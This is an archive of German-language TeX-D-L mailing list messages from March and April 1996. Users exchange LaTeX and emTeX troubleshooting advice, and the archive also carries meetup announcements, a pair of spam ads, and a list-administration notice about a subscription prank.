Gerhard.Wilhelms@Informatik.Uni-Augsburg.DE WWW: http://www.Math.Uni-Augsburg.DE/~wilhelms/ From owner-tex-d-l@VM.GMD.DE Wed Mar 20 14:10:04 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Berend van der Wall Date: Wed, 20 Mar 1996 14:08:44 +0100 Subject: SUN Rasterfile in LaTeX Hallo TeX'ler, weiss irgend jemand, wie man SUN Rasterfile Graphiken direkt in LaTeX einbinden kann? Bisher binde ich sie in eine Postscript-Umgebung ein, die dann mit einem \special{psfile=...} ins LaTeX-Dokument eingebunden wird. Fuer elegantere Loesungsvorschlaege dankt im voraus, mit freundlichen Gruessen, Berend van der Wall. _______________________________________________________________________________ Deutsche Forschungsanstalt fuer Luft- und Raumfahrt e.V. Institut fuer Flugmechanik Berend van der Wall Postfach 32 67 Tel: +49 531 295 2849 38022 Braunschweig Fax: +49 531 295 2641 Deutschland Email: vdwall@fm.bs.dlr.de _______________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Wed Mar 20 16:57:16 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Wed, 20 Mar 1996 16:56:33 +0100 Subject: Re: SUN Rasterfile in LaTeX On Wed, 20 Mar 1996, Berend van der Wall wrote: > weiss irgend jemand, wie man SUN Rasterfile Graphiken direkt in LaTeX > einbinden kann? Bisher binde ich sie in eine Postscript-Umgebung ein, > die dann mit einem \special{psfile=...} ins LaTeX-Dokument eingebunden > wird. Fuer elegantere Loesungsvorschlaege dankt im voraus, Das einzige, was mir noch einfiele, waere eine Konvertierung in irgendein anderes BitMap-Format und dann einbinden mit bm2font und picinpar.sty. Aber ob das eleganter ist? Gruss Matthias -- Matthias Eckermann, cand.phil., Munich/Germany | errare (email) M.Eckermann@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/u/ud311aa/html/ | est From owner-tex-d-l@VM.GMD.DE Sat Mar 23 05:03:23 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Volker Huettenrauch Date: Fri, 22 Mar 1996 20:40:00 +0200 Subject: Stammtisch Hamburg Moin TeXniker in Hamburg und Umgebung, der naechste TeX-Stammtisch in Hamburg findet wegen des TeX-Treffens in Augsburg erst am Mittwoch 3.4.96 um 18 Uhr Bei Themi/ Xeniosin der Osterstr. 46 statt. Mit dem OePNV kann man es wie folgt erreichen: Schulweg: 113 und 182 Wir hoffen, dass zu diesem Zeitpunkt wieder reichlich TeXniker zum Treffen kommen. MfG Volker From owner-tex-d-l@VM.GMD.DE Sat Mar 23 16:51:14 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: sysop@DJSA.COM Date: Fri, 22 Mar 1996 19:02:45 EST Subject: A FREE Listing in the Who's Who Guide I am sending this message to your mailing list because I want you to be aware that you can get a FREE listing in DJSA's Who's Who Guide. The guide is packed with listings and links of WWW Sites and is accessible from any browser. The guide is written in html and also links each site to the Home Page(s) that have been prepared by each company, educational facility, government or information provider. It is a great way to "surf the net". If you would like to add a FREE listing to this Guide, you can do so by sending five lines (see below) by reply to this message. Line 1...................Name of Company Line 2...................E-Mail Addresses (two max) Line 3...................WWW Address Line 4...................Modem Number and/or Telnet Address Line 5...................Description of Service (70 char max) We can activate your WWW Site so that it can be accessed directly >from the Who's Who Guide. You can also receive E-mail from the Guide. Just ask for details about this optional service. Thanks! DJSA Bulletin Board, Inc. http://www.djsa.com telnet://djsa.com ftp://djsa.com (you need user-id and password first) ========================= !!! Automated Notice !!! ======================= E-mail replies to this user should have the following on the first line of message text: TO: Guide ========================================================================== From owner-tex-d-l@VM.GMD.DE Sat Mar 23 13:46:25 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Horstmar Hollander Date: Sat, 23 Mar 1996 13:48:50 +0100 Subject: Fatal Error 2003 Ich verwende emTeX 4a, DVIDRV 1.6b, MS-DOS 5.0 und Desk-Jet 510. Beim=20 Ausdruck l=E4ngerer Dokumente bekomme ich nach ca 10-12 Seiten die=20 Fehlermeldung "Cannot write to file PRN, Fatal Error 2003.=20 help.ger sagt dazu, das sei ein Fehler von DR-DOS 5.0 (was ist eigentlich= =20 DR-DOS?). Abhilfe: MS-DOS verwenden, und genau das tu ich ja. Kann mir da=20 jemand helfen? Dr. Horstmar Hollander, Tannenstrasse 22, 86911 Diessen, Germany Phone +8807 1500, E-Mail: hollander@vms.biochem.mpg.de =20 From owner-tex-d-l@VM.GMD.DE Mon Mar 25 12:33:14 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Greuel Date: Mon, 25 Mar 1996 12:18:10 MET Subject: Einruecken bei einer Tabelle Hallo, wie kann man verhindern, da"s LaTeX eine Tablle immer links etwas einrueckt? Dies fuehrt insbesonders bei einer Tabelle in einer Tabelle zu Problemen. Danke... Bernd From owner-tex-d-l@VM.GMD.DE Mon Mar 25 13:23:15 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 25 Mar 1996 13:24:03 +0100 Subject: Re: Einruecken bei einer Tabelle : Hallo, wie kann man verhindern, da"s LaTeX eine Tablle immer links : etwas einrueckt? : Dies fuehrt insbesonders bei einer Tabelle in einer Tabelle zu : Problemen. @{} am Anfang und Ende der tabular-Praeambel einfuegen (siehe Lamport o.ae.), also z.B. \begin{tabular}{@{}lr@{}} ^^^ ^^^ -bernd From owner-tex-d-l@VM.GMD.DE Mon Mar 25 19:54:58 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: web@DJSA.COM Date: Mon, 25 Mar 1996 12:19:03 EST Subject: Free Web Page World Wide Web Publishing ------------------------- Host your Home Page or World Wide Web Site on our dedicated servers and make it available to the Internet with: * No Hidden Charges * No Setup fees * No Maintenance or Bandwidth Fees * Dedicated High Speed Server Visit http://206.217.60.1 or.... Telnet to 206.217.60.1 or..... Call 954-749-6458 by modem. If you prefer to get details by email the send email to archive@djsa.com. The subject of you email should say HELP. You can also type HELP in the body of the message. You'll get an automated message giving you instructions on how to set up your Web Site. From owner-tex-d-l@VM.GMD.DE Wed Mar 27 13:32:40 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Huth Date: Wed, 27 Mar 1996 13:31:29 +0100 Subject: paragraph u.a. Werte TEXniker, z.Zt. versuche ich eine Arbeit zu schreiben und habe die folgenden TEX-Probleme: 1) Ich verwende als Gliederungsschritt den Befehl \paragraph{Ueberschrift} bekomme aber nach dieser Ueberschrift keinen Zeilenumbruch hin, d.h. der weitere Text erscheint auf derselben Zeile wie die dickgedruckte Ueberschrift. \paragraph{Ueberschrift}\\ wird genauso ignoriert wie die Verwendung von \vspace*. Weiss da jemand Rat ? 2) Ich verwende headings. Ist meine Abschnittsueberschrift zu lang, verwende ich \section{kurzer Titel}{langer Titel} , so dass der kurze Titel als heading erscheint. Leider erscheint er aber auch im Inhaltsverzeichnis, wo ich doch den vollstaendigen Titel haben moechte. Was tun ? 3) Meine Referenzen erscheinen im Text als [1] erstellt mit \begin{thebibliography} \bibitem{carslaw} ... Gibt es ein tool, mit dem man die Literatur nach ihrem Auftreten im Text ordnen kann. Ich bedanke mich im voraus fuer alle Hinweise! Stefan Huth ____________________________________________________________________________ Stefan Huth Tel. : 49 345 5525135 Fachbereich Pharmazie e-mail: p1qci@mlucom.urz.uni-halle.de Weinbergweg 15 06120 Halle (Saale) Germany ____________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Wed Mar 27 19:50:30 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Klaus Braune Date: Wed, 27 Mar 1996 19:52:03 +0100 Subject: TeX-Stammtisch in Karlsruhe am 4. April 1996, 19:30 Uhr Liebe TeXnikerInnen, der TeX-Stammtisch in Karlsruhe trifft sich wieder am 4.4.96: TeX-Stammtisch am 4. April 1996 um 19:30 im Rechenzentrum der Universitaet Karlsruhe, Zirkel 2, 3.OG Raum 316 Kontakt: Klaus Braune Email: braune@rz.uni-karlsruhe.de Tel: 0721/608-4031 Zum TeX-Stammtisch sind alle, die interessiert, herzlich eingeladen. Die Treffen finden bis auf weiteres jeweils am ersten Donnerstag jeden Monats im Rechenzentrum statt. ******************************************************************************** Klaus Braune Zirkel 2 * D-76128 Karlsruhe Universitaet Karlsruhe Phone: +49 721 608-4031 Rechenzentrum EMAIL: Braune@rz.uni-karlsruhe.de From owner-tex-d-l@VM.GMD.DE Thu Mar 28 08:47:20 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Huth Date: Thu, 28 Mar 1996 08:47:00 +0100 Subject: Re: paragraph u.a. > > 2) Ich verwende headings. Ist meine Abschnittsueberschrift zu lang, > > verwende ich > > \section{kurzer Titel}{langer Titel} , > > so dass der kurze Titel als heading erscheint. Leider erscheint > > er aber auch im Inhaltsverzeichnis, wo ich doch den vollstaendigen > > Titel haben moechte. Was tun ? > Da haben wir hier mal einen Style gebastelt, weil unserem Prof. das auch > absolut nicht gefiel. Bei Bedarf kann ich ihn Dir zuschicken. Er macht > allerdings auch noch ein paar andere Sachen und ist daher so lang, da"s > ich ihn nicht komplett an die Liste schicken m"ochte. > > Tsch"u"s > Andreas. > Leider habe ich die mail-Adresse von Andreas nicht. Deshalb auf diesem Wege: Den genannten Style wuerde ich mir gerne mal anschauen Bye, bye Stefan ____________________________________________________________________________ Stefan Huth Tel. : 49 345 5525135 Fachbereich Pharmazie e-mail: p1qci@mlucom.urz.uni-halle.de Weinbergweg 15 06120 Halle (Saale) Germany ____________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Thu Mar 28 08:11:38 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Thu, 28 Mar 1996 08:06:55 MEZ Subject: Re: paragraph u.a. > 1) Ich verwende als Gliederungsschritt den Befehl > \paragraph{Ueberschrift} > bekomme aber nach dieser Ueberschrift keinen Zeilenumbruch hin, > d.h. der weitere Text erscheint auf derselben Zeile wie die > dickgedruckte Ueberschrift. > \paragraph{Ueberschrift}\\ wird genauso ignoriert wie die > Verwendung von \vspace*. Weiss da jemand Rat ? Das ist meiner Meinung nach auch so gedacht. Man m"u"ste halt den \paragraph-Befehl umdefinieren. > 2) Ich verwende headings. Ist meine Abschnittsueberschrift zu lang, > verwende ich > \section{kurzer Titel}{langer Titel} , > so dass der kurze Titel als heading erscheint. Leider erscheint > er aber auch im Inhaltsverzeichnis, wo ich doch den vollstaendigen > Titel haben moechte. Was tun ? Da haben wir hier mal einen Style gebastelt, weil unserem Prof. das auch absolut nicht gefiel. Bei Bedarf kann ich ihn Dir zuschicken. Er macht allerdings auch noch ein paar andere Sachen und ist daher so lang, da"s ich ihn nicht komplett an die Liste schicken m"ochte. Tsch"u"s Andreas. From owner-tex-d-l@VM.GMD.DE Thu Mar 28 11:22:25 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Werner Kirsch Date: Thu, 28 Mar 1996 11:22:04 +0200 Subject: Re: A FREE Listing in the Who's Who Guide TO: Guide GRUPPE WASSER office@GruppeWasser.co.at, kiw@GruppeWasser.co.at www.GruppeWasser.co.at Consulting Engineers (Water, Environment, GIS, Database-Design) From owner-tex-d-l@VM.GMD.DE Thu Mar 28 10:34:49 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rene Steiner Date: Thu, 28 Mar 1996 09:30:09 +0000 Subject: Re: paragraph u.a. > 1) Ich verwende als Gliederungsschritt den Befehl > \paragraph{Ueberschrift} > bekomme aber nach dieser Ueberschrift keinen Zeilenumbruch hin, > d.h. der weitere Text erscheint auf derselben Zeile wie die > dickgedruckte Ueberschrift. > \paragraph{Ueberschrift}\\ wird genauso ignoriert wie die > Verwendung von \vspace*. Weiss da jemand Rat ? Nicht im Sinne des Erfinders, aber eine einfache Loesung ist \paragraph{Ueberschrift}\strut\\ Dann hat das \newline "was zum beenden" und der folgende Text landet in der naechsten Zeile. Natuerlich ist der Abstand zum folgenden Text durch Deine Werte fuer \parskip bestimmt. Ciao, Rene Rene Steiner Neurologisches Therapiecentrum * steiner@uni-duesseldorf.de Hohensandweg 37 * phone: +49-211-7816-159 D-40591 Duesseldorf, Germany * FAX: +49-211-784 353 * Die Angst vor dem Tod ist der Beginn der Sklaverei * From owner-tex-d-l@VM.GMD.DE Thu Mar 28 11:04:55 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Thu, 28 Mar 1996 11:04:33 +0100 Subject: Re: paragraph u.a. Rene Steiner schreibt: > Nicht im Sinne des Erfinders, aber eine einfache Loesung ist > > \paragraph{Ueberschrift}\strut\\ Eine elegantere L"osung ist aber bestimmt, die Definition von \paragraph entsprechend anzupassen. Das Bernhardiner-Buch deutet an, wie: \renewcommand\paragraph{\@startsection{paragraph}{4}{\z@}% {3.25ex \@plus1ex \@minus.2ex}% {1sp}% {\normalfont\normalsize\bfseries}} (wegen der @ nat"urlich in einer .sty-Datei oder innerhalb von \makeatletter ... \makeatother). Interessant ist der vorletzte Parameter; ist er positiv, so wird eine ausgestellte "Uberschrift erzeugt, ist er negativ, wird die "Uberschrift ohne Zeilenumbruch an den Anfang des Absatzes gestellt. Der urspr"ungliche Wert ist `-1em', das heisst, "Uberschrift am Absatzanfang mit einem Abstand von 1em zum eigentlichen Start des Textes. Unser neuer Wert `1sp' sollte eine ausgestellte "Uberschrift ohne zus"atzlichen Abstand zwischen "Uberschrift und Absatz erzeugen, also so, wie das \strut-Beispiel oben. (Mein (englischer) Bernhardiner behauptet, dass der Wert 0 eine ausgestellte "Uberschrift erzeugt, aber das ist offenbar nicht richtig; 1sp ist positiv genug, um LaTeX umzustimmen, f"allt aber optisch nicht ins Gewicht.) In einer "ahnlich genialen "Uberladung bestimmt der vorvorletzte Parameter nicht nur den Abstand zwischen dem *vorigen* Absatz und der "Uberschrift, sondern steuert "uber sein Vorzeichen auch noch, ob die erste Zeile des *neuen* Absatzes einger"uckt werden soll oder nicht -- ist der Wert des Parameters positiv, so wird einger"uckt, ist er negativ, dann nicht. Je nach eigenem Geschmack w"are also aus `3.25ex' ein `-3.25ex' zu machen. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de Their tanks will rust. Our songs will last. --- Mikis Theodorakis From owner-tex-d-l@VM.GMD.DE Thu Mar 28 14:31:58 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Thu, 28 Mar 1996 14:31:32 +0100 Subject: Kopfzeilen und Multicol Liebe TeXpertInnen, seit einger Zeit habe ich ein TeX-Problem, ich glaube, dass ich dar"uber schon 'mal hier um Hilfe gebeten habe, aber ohne Erfolg. Ich versuche aus einer Datenbank mittels einem Programm ein W"orterbuch zu generieren. Da die Eintr"age nicht sooo lang sind, soll das ganze zweispaltig sein (also multicol.sty). Die ``"Uberschriften'', wenn ein neuer Buchstabe beginnt, soll jedoch "uber die ganze Seitenbreite gehen. D.h. ich mache sowas wie \begin{center}{\Large X}\end{center} \begin{multicol}{2} \begin{description} % Oder ein eigene Listumgebung \item[Xanten] Blah blah \item[Xylophon] blah blah blah % .... Viel viel mehr \end{description} \end{multicol} \begin{center}{\Large Y}\end{center} % und so weiter Zu allem "Uberfluss sind die Eintr"age aber in kyrillischer Schrift, d.h. ich habe mit \renewcommand \makelabel auf \wncyr gesetzt. Bis hierher geht alles mit LaTeX2.09 und LaTeX2e. Aber ausserdem will ich noch ein Kopfzeile, die so aussieht Erster_Wort_der_linken_Spalte Seitenummer Letztes_Wort_der_rechten_Spalte Und hier klappt nur noch wenig. Erst dachte ich nach jedem \item[Wort] noch ein \mark{Wort} (auch in kyrillissch!) zu verwenden, und ein entsprechendes \pagestyle-Stylefile zu machen, aber manchmal erscheint nicht das richtige Wort oben. Anscheinend h"angt das von der Anzahl der \item's und der L"ange der Abs"atze hinter einem \item ab. Wenn ich multicol ODER die Kopfzeile weglasse ist wieder alles OK. Aber so will ich's nicht. Kann mir da jemand ein Stylefile empfehlen, oder andere Hinweise? Viele Dank, fast verzweifelnd Johannes -- Johannes Heinecke Computerlinguistik Humboldt Universit"at zu Berlin http://www.compling.hu-berlin.de/~johannes From owner-tex-d-l@VM.GMD.DE Thu Mar 28 16:30:21 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rainer Schoepf Date: Thu, 28 Mar 1996 16:15:37 +0100 Subject: [Frederic Vogel: LaTeX 2e-Hilfe] Kann jemand diesem Manne helfen -RmS ------- start of forwarded message (RFC 934 encapsulation) ------- X-Sender: fvogel@wawona.ethz.ch Message-Id: <01I1QYW9HPTE96VQS6@wawona.ethz.ch> Mime-Version: 1.0 X-Mailer: Windows Eudora Version 1.4.3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Date: Wed, 28 Feb 1996 13:59:34 +0000 From: vogel@ivuk.mavt.ethz.ch (Frederic Vogel) To: server@Dante.DE Subject: LaTeX 2e-Hilfe Sehr geehrter Herr Schêpf. Ich bin seit Jahren LaTeX-Anwender, zuerst auf Atari, jetzt auf DOS/emtex. Im Moment schreibe ich an meiner Dissertation. Ich bin hierbei auf zwei Probleme gestossen, die sich wegen der Umstellung von LaTeX 2.09 auf 2e ergaben. Darf ich Sie um Hilfe bitten oder zumindest um das Weiterleiten meiner Anfrage? Probleme: 1.) Ich verwende das Paket "chemtex". Dort erfolgt die Umstellung des Mathematikzeichensatzes auf 10pt roman mit \textfont1=\tenrm, was von LaTeX 2e nicht verstanden wird. Wie kann ich die Umstellung mit LaTeX 2e erreichen? 2.) Im Buch von Helmut Kopka "LaTeX - eine Einfðhrung" wird ein Makro beschrieben, um schênere chemische Formeln zu erzeugen. Der Befehl lautet: \newcommand{\chemical}[1]{{$\fontdimen16\tensy=2.7pt\fontdimen17 \tensy=2.7pt \rm #1$}} Unter LaTeX 2e fðhrt dies zu einem Fehler. Was muss ich ¢ndern? Fðr Ihre Bemðhungen bedanke ich mich im voraus bestens. mit freundlichen Grðssen Frederic Vogel _______________________________________________ Fr©d©ric Vogel, Dipl. Chem.-Ing. ETH Swiss Federal Institute of Technology, Zðrich Institute for Process Engineering and Cryogenics Grabenstrasse 11 CH-8952 Schlieren Phone : +41 1 633 62 78 Fax : +41 1 633 11 19 e-mail : vogel@ivuk.mavt.ethz.ch _______________________________________________ ------- end ------- From owner-tex-d-l@VM.GMD.DE Thu Mar 28 16:55:11 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter-Klaus Schilling Date: Thu, 28 Mar 1996 16:54:07 +0100 Subject: Re: [Frederic Vogel: LaTeX 2e-Hilfe] On Thu, 28 Mar 1996, Rainer Schoepf wrote: > Kann jemand diesem Manne helfen -RmS >=20 > 2.) Im Buch von Helmut Kopka "LaTeX - eine Einf=F0hrung" wird ein Makro > beschrieben, um sch=EAnere chemische Formeln zu erzeugen. Der Befehl laut= et: > \newcommand{\chemical}[1]{{$\fontdimen16\tensy=3D2.7pt\fontdimen17 > \tensy=3D2.7pt \rm #1$}} >=20 > Unter LaTeX 2e f=F0hrt dies zu einem Fehler. Was muss ich =A2ndern? >=20 Irgendwo stand mal, man soll es so machen (es werkt auch!): \newcommand{\chemical}[1]{{$\fontdimen14\the\textfont2=3D1.1ex \fontdimen16\the\textfont2=3D0.63ex \fontdimen17\the\textfont2=3D0.63ex \rm #1$}} Peter Schilling -------------------------------------------------- e-mail: schilling@desy.de address: Peter K. Schilling DESY Dpt. ZDV-ASG Notkestr. 85 - D-22603 Hamburg - Germany phone: +49 40 89983638 fax: +49 40 89943638 -------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Fri Mar 29 02:00:17 1996 Content-Type: text/plain Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Nils Bokermann Date: Thu, 28 Mar 1996 19:20:54 +0100 Subject: Re: paragraph u.a. -----BEGIN PGP SIGNED MESSAGE----- > > Werte TEXniker, > > z.Zt. versuche ich eine Arbeit zu schreiben und habe die > folgenden TEX-Probleme: > 1) Ich verwende als Gliederungsschritt den Befehl > \paragraph{Ueberschrift} > bekomme aber nach dieser Ueberschrift keinen Zeilenumbruch hin, > d.h. der weitere Text erscheint auf derselben Zeile wie die > dickgedruckte Ueberschrift. > \paragraph{Ueberschrift}\\ wird genauso ignoriert wie die > Verwendung von \vspace*. Weiss da jemand Rat ? Keine Ahnung... > 2) Ich verwende headings. Ist meine Abschnittsueberschrift zu lang, > verwende ich > \section{kurzer Titel}{langer Titel} , doch wohl eher \section[kurzer Titel]{langer Title} > so dass der kurze Titel als heading erscheint. Leider erscheint > er aber auch im Inhaltsverzeichnis, wo ich doch den vollstaendigen > Titel haben moechte. Was tun ? Da gibt das doch \@dottedtocline (o."a), damit mu"st du dir wohl einen .sty schreiben, der dir den Langen Titel ins toc holt. (K"onnte aber ziemlich "atzend aussehen) > 3) Meine Referenzen erscheinen im Text als > [1] > erstellt mit \begin{thebibliography} > \bibitem{carslaw} ... > Gibt es ein tool, mit dem man die Literatur nach ihrem Auftreten > im Text ordnen kann. Da gibt es doch bibtex oder? Das sollte sich in einer vern"unftigen TeX-Distribution finden. > Ich bedanke mich im voraus fuer alle Hinweise! Bitte Tsch"u"s, Nils - -- Nils Bokermann Johanneswerkstr. 90 Phone: +49 521 891279 33613 Bielefeld FAX: +49 521 550116 Germany Warum werden die Gr"unen mit Schnittlauch nilsb@reality.owl.de verglichen? Naja, au"sen Gr"un, innen Hohl und treten immer Geb"undelt auf! _______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: Requires PGP version 2.6 or later. iQCVAwUBMVrYhI0OeUVHFo2JAQHeCwQAsvECEHsWAb7vrTrnpiRAqT8hLnclvJz3 6UVzAz4DpJF53aBqeEg4F+wyuI7f+Vwmo+FYb+ecJ2SAoqbLo7BI6RuyEekqeQWd viCuHOvhU7xjI0ZrBtsREqjM6v50lqxvh8M2tphGB52c0CgQAdRF+QXRG/rPKHAt gDnqsidvdgg= =tmlz -----END PGP SIGNATURE----- From owner-tex-d-l@VM.GMD.DE Fri Mar 29 20:16:32 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Lammarsch Date: Fri, 29 Mar 1996 20:16:05 +0100 Subject: Re: paper-sty On Thu, 7 Mar 1996, Hubert Partl wrote: > > Thank you for writing to Vice President Gore via electronic > > mail. Since coming on-line, vice.president@whitehouse.gov has > > received thousands of messages from people all over the world. > > Da hat der Spassvogel, der Gore und Clinton in hunderte Mailing-Listen > eingetragen hat, also sogar unsere text-d-l auserkoren. > Da Al Gore aber offenbar nicht wirklich mit uns diskutiert, sollte > Joachim ihn wieder aus der Mitgliederliste streichen... Wenns es nur die TEX-D-L und nur Gore und Clinton gewesen waeren :-(. Ich habe alle wieder ausgetragen. Es hat mich Stunden von Arbeit gekostet. Als Reaktion werden alle Listserv-Listen auf CONFIRM umgestellt. Dies bedeutet, dass Eintraege in einer zweiten Mail bestaetigt werden muessen. Ich bedauere dies, da es jetzt einen in meinen Augen unnoetigen Mehraufwand erfordert. Unnoetig war es im jedem Fall, denn dass das, was hier geschen war, geht, ist seit Jahren bekannt und hat einen so......... lagen Bart. > -- > Hubert Partl partl@mail.boku.ac.at Mit freundlichen Gruessen Joachim Lammarsch From owner-tex-d-l@VM.GMD.DE Sun Mar 31 07:21:43 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Date: Sat, 30 Mar 1996 15:54:00 +0200 Subject: paragraph u.a. Kommentar zu A43959@H in der Gruppe TeX-D-L Hallo Stefan, SHP>\paragraph{Ueberschrift}\\ wird genauso ignoriert wie die Verwendung SHP>von \vspace*. Weiss da jemand Rat ? hast Du schon mal einfach \par probiert? Und TTschê ps From owner-tex-d-l@VM.GMD.DE Sun Mar 31 12:59:39 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Eberhard Mattes Date: Sun, 31 Mar 1996 12:58:04 +0200 Subject: Re: Fatal Error 2003 Horstmar Hollander schreibt: > Ich verwende emTeX 4a, DVIDRV 1.6b, MS-DOS 5.0 und Desk-Jet 510. Beim > Ausdruck l=E4ngerer Dokumente bekomme ich nach ca 10-12 Seiten die > Fehlermeldung "Cannot write to file PRN, > Fatal Error 2003. mode lpt1 retry=r Eberhard Mattes Der Spiritualismus ist diejenige Arbeitsscheu, welche aus Mangel an Einsicht und Gleichgewicht der Erfahrungen und "Uberzeugungen hervorgeht und den Flei"s des wirklichen Lebens durch Wundert"atigkeit ersetzen, aus Steinen Brot machen will, anstatt zu ackern, zu s"aen, das Wachstum der "Ahren abzuwarten, zu schneiden, dreschen, mahlen und zu backen. --- Gottfried Keller, Der gr"une Heinrich From owner-tex-d-l@VM.GMD.DE Mon Apr 1 10:04:29 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 1 Apr 1996 09:51:52 +0200 Subject: Re: [Frederic Vogel: LaTeX 2e-Hilfe] vogel@ivuk.mavt.ethz.ch (Frederic Vogel) schrieb am Wed, 28 Feb 1996 13:59:34 +0000 an server@Dante.DE (also die armen Sysadmins, die neben ihrer eigentlichen Arbeit sich auch noch mit den Problemen der Server-Sun herumschlagen duerfen und dann auch noch mit Fragen zu (La)TeX genervt werden): : Sehr geehrter Herr Schoepf. [...] : Darf ich Sie um Hilfe bitten oder zumindest um das Weiterleiten : meiner Anfrage? : : Probleme: : : 1.) Ich verwende das Paket "chemtex". Dort erfolgt die Umstellung des : Mathematikzeichensatzes auf 10pt roman mit \textfont1=\tenrm, was von LaTeX : 2e nicht verstanden wird. Wie kann ich die Umstellung mit LaTeX 2e erreichen? RTFM ...und wenn man schon das nicht tut, dann kann man einfach einmal einen Blick in die DE-TeX-FAQ (URL: news:de.comp.tex oder http://www.dante.de/dante/dante-faq.html) werfen. Dort wird in der aktuellen Version dies in der Frage 6.6.2 beantwortet: \usepackage[only,tenrm]{rawfonts} : 2.) Im Buch von Helmut Kopka "LaTeX - eine Einfuehrung" wird ein Makro : beschrieben, um schoenere chemische Formeln zu erzeugen. ...das auch nur von Knuth aus dem TeXbook "geklaut" wurde. Da das TeXbook nur plain-TeX beschreibt, kann man nicht ausgehen, dass es auch mit LaTeX2e funktioniert. : Der Befehl lautet: : \newcommand{\chemical}[1]{{$\fontdimen16\tensy=2.7pt\fontdimen17 : \tensy=2.7pt \rm #1$}} : : Unter LaTeX 2e fuehrt dies zu einem Fehler. Was muss ich aendern? DE-TeX-FAQ, Frage 6.6.3 ...oder in einer aelteren Mail von mir in TeX-D-L bzw. TeX-NL: \DeclareRobustCommand{\chemical}[1]{% {\(\m@th \edef\resetfontdimens{\noexpand\)% \fontdimen16\textfont2=\the\fontdimen16\textfont2 \fontdimen17\textfont2=\the\fontdimen17\textfont2\relax}% \fontdimen16\textfont2=2.7pt \fontdimen17\textfont2=2.7pt \mathrm{#1}% \resetfontdimens}} mit \makeatletter/\makeatother klammern oder in ein .sty-File schreiben. Kopka wurde auf den Fehler (und viele andere) hingewiesen. Er sagte zu, ihn in der mittlerweile neu erschienenen 2.Auflage des ersten Bandes zu beheben, habe aber ganz vergessen, letzte Woche auf der Tagung DANTE'96 mal einen Blick reinzuwerfen, ob er's auch tatsaechlich getan hat. (Einige Korrekturen, die ihm angetragen wurden, sind z.B. nicht enthalten, u.a. hat er immer noch nicht den Teil ueber german.sty geaendert und kraeftig gekuerzt :-() Erkennbar ist die 2.Auflage des 1.Bandes ("Einfuehrung") daran, dass jetzt auch auf LaTeX2e eingegangen wird. Gruesse, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Mon Apr 1 10:08:11 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 1 Apr 1996 09:57:04 +0200 Subject: Re: [Frederic Vogel: LaTeX 2e-Hilfe] Peter-Klaus Schilling schrieb: [...] : Irgendwo stand mal, man soll es so machen (es werkt auch!): : : \newcommand{\chemical}[1]{{$\fontdimen14\the\textfont2=1.1ex ^^^^ [etc.etc. Rest des Makros weggelassen] Das "\the" ist an dieser Stelle nicht notwendig. Zum einen kann TeX "\fontdimen14\textfont2" schneller abarbeiten, zum anderen kann man unerwuenschte Seiteneffekte bekommen, wenn man obiges \chemical z.B. ohne \protect in einer \section verwendet. Gruesse, -bernd PS: So... und nun sucht mal schoen im TeXbook nach, wieso man das "\the" oben nicht benoetigt und worin die Unterschiede zwischen "\fontdimen14\the\textfont2" und "\fontdimen14\textfont2" liegen und wann diese wichtig sein koennten. Man lernt bei solchen Kleinigkeiten 